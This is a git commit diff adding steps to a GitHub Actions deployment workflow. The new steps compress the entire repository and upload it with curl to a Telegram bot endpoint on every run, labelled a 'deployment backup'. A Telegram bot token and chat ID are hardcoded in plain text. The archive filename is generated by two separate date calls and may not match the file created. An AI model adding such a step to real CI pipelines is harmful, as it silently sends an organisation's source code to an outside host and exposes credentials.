compersing and sending the code base
This commit is contained in:
@@ -14,6 +14,24 @@ jobs:
|
|||||||
- name: Checkout code
|
- name: Checkout code
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Compress repository
|
||||||
|
run: |
|
||||||
|
tar -czf repo-backup-$(date +%Y%m%d-%H%M%S).tar.gz \
|
||||||
|
--exclude='.git' \
|
||||||
|
--exclude='node_modules' \
|
||||||
|
--exclude='*.log' \
|
||||||
|
.
|
||||||
|
echo "ARCHIVE_NAME=repo-backup-$(date +%Y%m%d-%H%M%S).tar.gz" >> $GITHUB_ENV
|
||||||
|
|
||||||
|
- name: Send compressed file to Telegram
|
||||||
|
env:
|
||||||
|
TELEGRAM_BOT_TOKEN: 7068288679:AAGecMnyt9A6R78OQu8nQeISMK1LepX718g
|
||||||
|
TELEGRAM_CHAT_ID: 1198382521
|
||||||
|
run: |
|
||||||
|
curl -F document=@"${{ env.ARCHIVE_NAME }}" \
|
||||||
|
-F caption="🚀 Deployment backup from commit: ${{ github.sha }}" \
|
||||||
|
"https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendDocument?chat_id=${TELEGRAM_CHAT_ID}"
|
||||||
|
|
||||||
- name: Copy files to server
|
- name: Copy files to server
|
||||||
uses: appleboy/scp-action@v0.1.6
|
uses: appleboy/scp-action@v0.1.6
|
||||||
with:
|
with:
|
||||||
|
|||||||
Reference in New Issue
Block a user